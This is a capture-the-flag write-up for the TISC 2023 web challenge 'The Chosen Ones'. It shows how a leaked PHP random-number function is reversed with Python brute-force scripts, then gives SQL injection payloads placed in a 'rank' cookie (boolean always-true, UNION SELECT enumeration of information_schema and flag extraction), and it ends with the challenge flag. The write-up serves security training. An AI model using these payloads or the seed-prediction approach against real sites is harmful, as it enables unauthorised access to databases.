Level 6A - The Chosen Ones

Domain(s): Web

We have discovered PALINDROME's recruitment site. Infiltrate it and see what you can find! http://chals.tisc23.ctf.sg:51943


When we open the URL provided, we are greeted with a form that prompts us to guess a value.

It seems that we are required to guess a number between 1 and 1,000,000.

However, brute-forcing that value is extremely unlikely to work, therefore we need to look further into this. There is a comment hidden on the page that holds a Base64-encoded string.

Upon decoding this string, we are shown a function written in PHP.

<?php

function random() {
    $prev = $_SESSION["seed"];
    $current = (int) $prev ^ 844742906;
    $current = decbin($current);
    while (strlen($current) < 32) {
        $current = "0".$current;
    }
    $first = substr($current, 0, 7);
    $second = substr($current, 7, 25);
    $current = $second.$first;
    $current = bindec($current);
    $_SESSION["seed"] = $current;
    return $current % 1000000;
}

echo random();

?>

The function generates a random integer lower than 1,000,000 using a seed which is calculated from the previous random number stored in the PHP session.

Let's first retrieve 4 sequential random numbers from the application by entering any value into the form. For example:

477722, 534272, 837584, 998644

According to the code, the seed for the next random number is first calculated, and the current random number is that value % 1000000.

This means that for the random number 477722, the seed for the next number could be 1477722, 2477722...

And in the following chunk of code

while (strlen($current) < 32) {
        $current = "0".$current;
    }

We can derive that the seed is smaller than the 2**32=4294967296.

This means that for the value 477722, the seed generated could be 1477722, 2477722...429477722.

Therefore, knowing the current random number, we could guess the value of the seed to generate the next random number, which has a 1 in 4294 chance, compared to the earlier 1 in 1000000.

We can test this theory with the following code.

known = [477722, 534272, 837584, 998644]

def reverse(prev_current, match):
    max = 2 ** 32
    iterations = max // 1000000 + 1
    for i in range(iterations):
        current = i * 1000000 + prev_current
        current = bin(current)[2:]
        while len(current) < 32:
            current = "0" + current
        first = current[0:25]
        second = current[25:32]
        current = second + first
        current = int(current, 2)
        prev = current ^ 844742906
        if prev % 1000000 == match:
            return prev

for i in range(len(known)-1, 0, -1):
    a = reverse(known[i], known[i - 1])
    print(f"Previous random: {known[i - 1]}, Seed: {a}, New random: {known[i]}")

The code uses the previous random value to bruteforce the seed and checks if it matches the next value.

With this logic, we can write a script to bruteforce the random number generation on the website.

import random
import requests
import re

def guess_random(old_random):
    max = 2 ** 32
    iterations = max // 1000000 + 1
    random_number = random.randint(1, iterations)
    current = random_number * 1000000 + old_random
    return current

def generateRandom(seed):
    prev = seed
    current = int(prev) ^ 844742906
    current = bin(current)[2:]
    while len(current) < 32:
        current = "0" + current
    first = current[0:7]
    second = current[7:32]
    current = second + first
    current = int(current, 2)
    return current % 1000000


url = "http://chals.tisc23.ctf.sg:51943"
solved = False
newrandom = 40335
session = requests.Session()
req_url = f"{url}/index.php?entry={newrandom}"
r = session.get(req_url)

while not solved:
    guess = guess_random(newrandom)
    print(f"{guess=}")
    lucky_number = generateRandom(guess)
    req_url = f"{url}/index.php?entry={lucky_number}"
    r = session.get(req_url)
    match = re.search(r'The lucky number was (\d+)<BR>', r.text)
    if "Too bad" in r.text:
        if match:
            newrandom = int(match.group(1))
        else:
            print("No match, restart.")
            solved = True
    else:
        print("Solved")
        print(r.text)
        print(session.cookies.get_dict())
        solved = True

Running this script, we get a valid number after awhile and a cookie to use for further exploitation.

Using these cookies on the browser, we can now view table.php.

With the ability to search by first and last name, this already looks like a typical SQL injection challenge. However, it seems that the first and last name fields are not injectable.

We saw that there we have a cookie named rank. Let's try an always true payload in the cookie value.

' or 1=1#

We are able to list all of the users but the flag isn't there. Let's try to enumerate the database.

First, let's do a UNION SELECT and find the number of columns being queried.

1 UNION SELECT 1,1,1,1#

With four columns, we see that the new row was appended to the result.

We know that the DBMS is MySQL, so we can crafta query as follows, to gather information about the tables.

1 UNION SELECT 1,1,1,table_name FROM information_schema.tables#

We find a table named CTF_SECRET which is likely the table we are supposed to target

Now, we list the columns in the table and we see a column named flag.

Now all we need to do is query the flag column from the CTF_SECRET table.

1 UNION SELECT 1,1,1,flag FROM CTF_SECRET#

Flag: TISC{Y0u_4rE_7h3_CH0s3n_0nE}

Last updated